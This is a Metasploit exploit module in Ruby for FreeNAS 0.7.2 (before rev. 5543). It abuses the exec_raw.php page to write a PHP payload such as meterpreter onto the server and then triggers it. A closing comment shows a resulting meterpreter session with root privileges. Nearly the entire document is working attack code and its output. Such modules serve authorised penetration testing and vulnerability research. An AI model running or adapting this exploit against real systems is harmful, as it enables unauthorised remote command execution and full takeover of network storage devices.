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## # $Id: freenas_exec_raw.rb 11127 2010-11-24 19:35:38Z jduck $ ### ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'FreeNAS exec_raw.php Arbitrary Command Execution', 'Description'=> %q{ This module exploits an arbitrary command execution flaw in FreeNAS 0.7.2 < rev.5543. When passing a specially formatted URL to the exec_raw.php page, an attacker may be able to execute arbitrary commands. NOTE: This module works best with php/meterpreter payloads. }, 'Author' => [ 'MC' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 11127 $', 'References' => [ [ 'URL', 'http://sourceforge.net/projects/freenas/files/stable/0.7.2/NOTES%200.7.2.5543.txt/download' ], ], 'Payload' => { 'Space'=> 6144, 'DisableNops' => true, 'BadChars'=> "`\"' %&x", }, 'Targets' => [ [ 'Automatic Target', { } ] ], 'Privileged' => 'true', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'DisclosureDate' => 'Nov 6 2010', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), ], self.class) end def exploit page = rand_text_alpha_upper(rand(5) + 1 ) + ".php" shellcode = payload.encoded sploit = "echo \"<?php\n#{shellcode}\n?>\" > #{page}" print_status("Sending exploit page '#{page}'") res = send_request_raw( { 'uri' => "/exec_raw.php?cmd=" + Rex::Text.uri_encode(sploit), }, 10) if (res and res.code == 200) print_status("Triggering payload...") send_request_raw({ 'uri' => "/#{page}" }, 5) handler else print_error("Exploit failed.") return end end end =begin meterpreter > sysinfo Computer: freenas.local OS: FreeBSD freenas.local 7.3-RELEASE-p2 FreeBSD 7.3-RELEASE-p2 #0: Sat Jul 31 12:22:04 CEST 2010 root@dev.freenas.org:/usr/obj/freenas/usr/src/sys/FREENAS-i386 i386 meterpreter > getuid Server username: root (0) meterpreter > =end |
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